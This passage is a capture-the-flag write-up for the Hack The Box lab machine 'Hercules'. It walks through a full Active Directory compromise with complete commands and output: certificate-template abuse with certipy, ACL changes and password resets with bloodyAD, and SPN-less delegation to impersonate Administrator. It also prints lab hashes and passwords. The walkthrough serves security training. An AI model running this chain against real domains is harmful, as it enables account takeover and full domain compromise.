        Owner                           : HERCULES.HTB\Enterprise Admins
        Full Control Principals         : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Owner Principals          : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Dacl Principals           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
        Write Property Enroll           : HERCULES.HTB\Domain Admins
                                          HERCULES.HTB\Enterprise Admins
    [+] User Enrollable Principals      : HERCULES.HTB\Smartcard Operators
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.
I read this blog post about ESC3 before beginning here After that I requested a certificate for the vulnerable template as the user that fernando.r.
Bash
[Feb 25, 2026 - 23:42:54 (CET)] exegol-D3xt3R hercules # certipy req -u "fernando.r@hercules.htb" -p 'Pwn3d12345!' -k -target dc.hercules.htb -template  EnrollmentAgent -ca ca-hercules -target-ip 10.129.242.196 -dc-ip 10.129.242.196
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 11
[*] Successfully requested certificate
[*] Got certificate with UPN 'fernando.r@hercules.htb'
[*] Certificate object SID is 'S-1-5-21-1889966460-2597381952-958560702-1121'
[*] Saving certificate and private key to 'fernando.r.pfx'
After getting the certificate I then tried to impersonate several users (admin,administrator..etc) to enroll in another certificate on behalf of them, but I wasn't sucessfull, due to the users being protected, I got the certificate for another user in Remote Management Group, ashley.b.
Bash
[Feb 26, 2026 - 00:14:54 (CET)] exegol-D3xt3R hercules # certipy -debug req -u 'fernando.r@hercules.htb' -k -no-pass -target dc.hercules.htb -target-ip 10.129.242.196 -ca CA-HERCULES -template UserSignature -on-behalf-of 'HERCULES\ashley.b' -pfx fernando.r.pfx -dcom
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[+] Domain retrieved from CCache: HERCULES.HTB
<REDACTED>
[+] Attempting to write data to 'ashley.b.pfx'
[+] Data written to 'ashley.b.pfx'
[*] Wrote certificate and private key to 'ashley.b.pfx'

I got the hash for the user.
Bash
[Feb 26, 2026 - 00:15:34 (CET)] exegol-D3xt3R hercules # certipy auth  -pfx ashley.b.pfx -dc-ip 10.129.242.196                                                          
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'ashley.b@hercules.htb'
[*]     Security Extension SID: 'S-1-5-21-1889966460-2597381952-958560702-1135'
[*] Using principal: 'ashley.b@hercules.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ashley.b.ccache'
[*] Wrote credential cache to 'ashley.b.ccache'
[*] Trying to retrieve NT hash for 'ashley.b'
[*] Got hash for 'ashley.b@hercules.htb': aad3b435b51404eeaad3b435b51404ee:1e719fbfddd226da74f644eac9df7fd2
Let's get a TGT and connect to the box as the user ashley.b.
Bash
[Feb 26, 2026 - 01:02:23 (CET)] exegol-D3xt3R hercules # python3 winrmexec/evil_winrmexec.py -k -no-pass -ssl dc.hercules.htb
[*] '-target_ip' not specified, using dc.hercules.htb
[*] '-port' not specified, using 5986
[*] '-url' not specified, using https://dc.hercules.htb:5986/wsman
[*] using domain and username from ccache: HERCULES.HTB\ashley.b
[*] '-spn' not specified, using HTTP/dc.hercules.htb@HERCULES.HTB
[*] '-dc-ip' not specified, using HERCULES.HTB
[*] requesting TGS for HTTP/dc.hercules.htb@HERCULES.HTB

PS C:\Users\ashley.b\Documents> whoami
hercules\ashley.b

Once logged in, I found a custom Scripts folder in C:\Users\ashley.b, and a powershell script accompanied with a mail directory.
Powershell
PS C:\Users\ashley.b\desktop> ls


    Directory: C:\Users\ashley.b\desktop


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----         12/4/2024  11:45 AM                Mail                                                                  
-a----         12/4/2024  11:45 AM            102 aCleanup.ps1                                                          

PS C:\Users\ashley.b\desktop> cat aCleanup.ps1
Start-ScheduledTask -TaskName "Password Cleanup"

We can see that the scripts starts a scheduled task called Password Cleanup, the user can run the scheduled task which is very valuable in our case. Here is what I found in the custom Scripts folder.
Powershell
PS C:\Users\ashley.b\scripts> ls


    Directory: C:\Users\ashley.b\scripts


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----         12/4/2024  11:02 AM           1370 cleanup.ps1                                                           


PS C:\Users\ashley.b\scripts> cat cleanup.ps1
function CanPasswordChangeIn {
    param ($ace)
    if($ace.ActiveDirectoryRights -match "ExtendedRight|GenericAll"){
        return $true
    }
    return $false
}

function CanChangePassword {
    param ($target, $object)

    $acls = (Get-Acl -Path "AD:$target").Access
    foreach($ace in $acls){
        if(($ace.IdentityReference -eq $object) -and (CanPasswordChangeIn $ace)){
            return $true
        }
    }
    return $false
}

function CleanArtifacts {
    param($Object)

    Set-ADObject -Identity $Object -Clear "adminCount"
    $acl = Get-Acl -Path "AD:$Object"
    $acl.SetAccessRuleProtection($False, $False)
    Set-Acl -Path "AD:$Object" -AclObject $acl
}

$group = "HERCULES\IT Support"
$objects = (Get-ADObject -Filter * -SearchBase "OU=DCHERCULES,DC=HERCULES,DC=HTB").DistinguishedName
$Path = "C:\Users\ashley.b\Scripts\log.txt"
Set-Content -Path $Path -Value ""

foreach($object in $objects){
    if(CanChangePassword $object $group){
        $Members = (Get-ADObject -Filter * -SearchBase $object | Where-Object { $_.DistinguishedName -ne $object }).DistinguishedName

        foreach($DN in $Members){
            try {
                CleanArtifacts $DN
            } 
            catch {
                $_.Exception.Message | Out-File $Path -Append
            }
            "Cleanup : $DN" | Out-File $Path -Append
        }
    }
}

I looked what was the scheduled task running and it didn't turn out the script that we can control or else that would be too easy.
Powershell
PS C:\Users\ashley.b\scripts> schtasks /query /fo LIST /v | findstr Password
TaskName:                             \Password Cleanup
Task To Run:                          powershell.exe -File "C:\Users\Administrator\AppData\Local\Windows\Password Cleanup.ps1"
I tried running the script cleanup.ps1, and the script turned out to be a replica of the main script used in the scheduled task, I arrived to that conclusion after inspecting the log.txt after running the scheduled task and the running the script in the scripts folder.
Powershell
.PS C:\Users\ashley.b\scripts> .\cleanup.ps1
ls
cat loPS C:\Users\ashley.b\scripts> ls


    Directory: C:\Users\ashley.b\scripts


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----         12/4/2024  11:02 AM           1370 cleanup.ps1                                                           
-a----         2/27/2026   1:07 AM           2236 log.txt                                                               


PS C:\Users\ashley.b\scripts> cat log.txt

Insufficient access rights to perform the operation

Cleanup : CN=Will Smith,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Zeke Solomon,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Adriana Italia,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Tish Ckenvkitch,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Jennifer Ankton,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Shae Jones,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Joel Conwell,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Insufficient access rights to perform the operation

Cleanup : CN=Jacob Bentley,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb


PS C:\Users\ashley.b\scripts> del log.txt
PS C:\Users\ashley.b\scripts> ..\desktop\aCleanup.ps1
PS C:\Users\ashley.b\scripts> ls


    Directory: C:\Users\ashley.b\scripts


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----         12/4/2024  11:02 AM           1370 cleanup.ps1                                                           
-a----         2/27/2026   1:07 AM            518 log.txt                                                               


PS C:\Users\ashley.b\scripts> cat log.txt

Cleanup : CN=Will Smith,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Zeke Solomon,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Adriana Italia,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Tish Ckenvkitch,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Jennifer Ankton,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Shae Jones,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Joel Conwell,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Jacob Bentley,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb


PS C:\Users\ashley.b\scripts>


What does the script actually do though? The script loops over every object in the environment, and then checks if the IT Support Group is granted an ACE(Access Control Entry) over the object either GenericAll or ExtendedRight(which includes the forceChangePassword permession) and clears the adminCount attribute, which makes a protected user to be unprotected. At this point, I really didn't know what to do, I went back to the user auditor as he's the only the user that I knew of that could grant the IT Support the GenericAll privileges over the Forest Migration OU.
The user IIS_Administrator is part of the Forest Migration OU, and I know that he shows up as group but he's disabled and protected so bloodhound couldn't identify it very well I guess that's why it came up as a group. I already tried resetting the password and enabling the user as the user auditor I wasn't successful before due to insufficient rights, but running this as SYSTEM, we will be able to recover the account. The user account iis_websever$ can do spn-less resource based delegation to the domain controller, so we can forge a ticket as the administrator to get the root flag.
Bash
[Feb 25, 2026 - 21:40:45 (CET)] exegol-D3xt3R hercules # findDelegation.py hercules.htb/auditor -hashes ':a9285c625af80519ad784729655ff325' -dc-ip 10.129.242.196 -k -dc-host dc.hercules.htb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

AccountName     AccountType  DelegationType              DelegationRightsTo  SPN Exists 
--------------  -----------  --------------------------  ------------------  ----------
iis_webserver$  Person       Resource-Based Constrained  DC$                 No         
DC$             Computer     Unconstrained               N/A                 Yes   
We will start with getting a ticket for auditor and then grant the IT Support group GenericAll over the target OU which is Forest Migration.
Bash
[Feb 26, 2026 - 16:57:43 (CET)] exegol-D3xt3R hercules # getTGT.py hercules.htb/auditor -hashes ':a9285c625af80519ad784729655ff325' -dc-ip 10.129.4.68              
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in auditor.ccache
[Feb 26, 2026 - 16:58:00 (CET)] exegol-D3xt3R hercules # export KRB5CCNAME=auditor.ccache 

[Feb 26, 2026 - 16:58:11 (CET)] exegol-D3xt3R hercules # bloodyAD --host dc.hercules.htb --domain hercules.htb --dc-ip 10.129.4.68 -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'IT Support'

[+] IT Support has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

After this we go back to the ashley.b WINRM session and run the scheduled task.
Powershell
PS C:\Users\ashley.b\desktop> .\aCleanup.ps1
PS C:\Users\ashley.b\desktop> cd ..\scripts
PS C:\Users\ashley.b\scripts> cat log.txt

Cleanup : CN=James Silver,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Anthony Rudd,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=WINSRV01-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=WINSRV02-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=WINSRV03-2016,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=ENTERPRISE01-8.1,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=ENTERPRISE02-8.1,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Windows Computer Administrators,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=IIS_Administrator,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Taylor Maxwell,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Fernando Rodriguez,OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Will Smith,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Zeke Solomon,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Adriana Italia,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Tish Ckenvkitch,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Jennifer Ankton,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Shae Jones,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Joel Conwell,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb

Cleanup : CN=Jacob Bentley,OU=Engineering Department,OU=DCHERCULES,DC=hercules,DC=htb


And bingo, we got cleaned up the protection that the user IIS_Administrator had. Now we can reset the password for the account and re-enable it.
Bash
[Feb 26, 2026 - 17:04:26 (CET)] exegol-D3xt3R hercules # bloodyAD --host dc.hercules.htb --domain hercules.htb --dc-ip 10.129.4.68 -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyAD --host dc.hercules.htb --domain hercules.htb --dc-ip 10.129.4.68 -k set owner 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' auditor
bloodyAD -d hercules.htb --host dc.hercules.htb -k set password 'iis_administrator' 'Pwn3d12345!'
bloodyAD -d hercules.htb --host dc.hercules.htb -k remove uac 'iis_administrator' -f ACCOUNTDISABLE
[+] auditor has now GenericAll on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
[+] Old owner S-1-5-21-1889966460-2597381952-958560702-512 is now replaced by auditor on OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb
[+] Password changed successfully!
[-] ['ACCOUNTDISABLE'] property flags removed from iis_administrator's userAccountControl

And just like that we got the password reset, now we can forcePasswordChange of the user iis_webserver$.
Bash
[Feb 26, 2026 - 17:07:30 (CET)] exegol-D3xt3R hercules # getTGT.py hercules.htb/iis_administrator:'Pwn3d12345!' -dc-ip 10.129.4.68   
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in iis_administrator.ccache
[Feb 26, 2026 - 17:07:49 (CET)] exegol-D3xt3R hercules # export KRB5CCNAME=iis_administrator.ccache
[Feb 26, 2026 - 17:08:02 (CET)] exegol-D3xt3R hercules # bloodyAD -d hercules.htb --host dc.hercules.htb -k set password 'iis_webserver$' 'Pwn3d12345!'

[+] Password changed successfully!

So at this point I got a TGT for the iis_webserver$ account and tried to get a service ticket to impersonate the Administrator user but it wouldn't work. Since the user iis_webserver$ doesn't have an SPN, we will abuse SPN-less Resource Based Delegation. In order for this to work, we will use the -u2u ( User to User) authentication to get a service ticket and impersonate the Administrator. In order for this to work, we need to change the hash for the account iis_webserver$ to match the Ticket Session Key in the TGT, and we need to request the TGT using the NT hash (md4(password)). We can use CyberChef to get the NT hash for the password. So we need to use impacket's tool, changepassowrd to change the iis_webserver$ account to match the TGT's Session Key. And lastly we will get a service ticket as the Administrator and abuse RBCD without needing an SPN. I know it doesn't make a lot of sense, but so does windows. Here is what I did. I got the ticket using the NT hash and read the Ticket Session Key using describeTicket.py.
Bash
[Feb 26, 2026 - 23:10:04 (CET)] exegol-D3xt3R hercules # getTGT.py hercules.htb/iis_webserver$ -hashes ':DC798898536835EAEA64BC8F08833708' -dc-ip 10.129.4.68 
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in iis_webserver$.ccache
[Feb 26, 2026 - 23:10:08 (CET)] exegol-D3xt3R hercules # describeTicket.py iis_webserver$.ccache                                             


Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 


[*] Ticket Session Key            : 8a99a19047836373eea79c38c59a8757
<REDACTED>

Changed the hash for the account and verified the validity of the new hash.
Bash
[Feb 26, 2026 - 23:15:00 (CET)] exegol-D3xt3R hercules # changepasswd.py -newhashes :8a99a19047836373eea79c38c59a8757 hercules.htb/'iis_webserver$':'Pwn3d12345!'@dc.hercules.htb  -k
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of hercules.htb\iis_webserver$
[*] Connecting to DCE/RPC as hercules.htb\iis_webserver$
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[Feb 26, 2026 - 23:15:09 (CET)] exegol-D3xt3R hercules # nxc smb dc.hercules.htb  -u 'iis_webserver$' -H '8a99a19047836373eea79c38c59a8757'  -k -d hercules.htb 
SMB         dc.hercules.htb 445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.hercules.htb 445    dc               [+] hercules.htb\iis_webserver$:8a99a19047836373eea79c38c59a8757 

Got the service ticket and logged in as the Administrator user.
Bash
[Feb 26, 2026 - 23:15:43 (CET)] exegol-D3xt3R hercules # getST.py -u2u -impersonate 'Administrator' -spn 'cifs/dc.hercules.htb' 'hercules.htb/IIS_Webserver$' -k -no-pass -dc-ip 10.129.4.68
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache
[Feb 26, 2026 - 23:15:56 (CET)] exegol-D3xt3R hercules # export KRB5CCNAME=Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache                                                           
[Feb 26, 2026 - 23:16:14 (CET)] exegol-D3xt3R hercules # python3 winrmexec/evil_winrmexec.py -k -no-pass -ssl dc.hercules.htb                 
[*] '-target_ip' not specified, using dc.hercules.htb
[*] '-port' not specified, using 5986
[*] '-url' not specified, using https://dc.hercules.htb:5986/wsman
[*] using domain and username from ccache: hercules.htb\Administrator
[*] '-spn' not specified, using HTTP/dc.hercules.htb@hercules.htb
[*] '-dc-ip' not specified, using hercules.htb

PS C:\Users\Administrator\Documents> whoami
hercules\administrator
PS C:\Users\Administrator\Documents> cat \users\admin\desktop\root.txt
<REDACTED>

The hardest machine I ever pwned!
§ Contents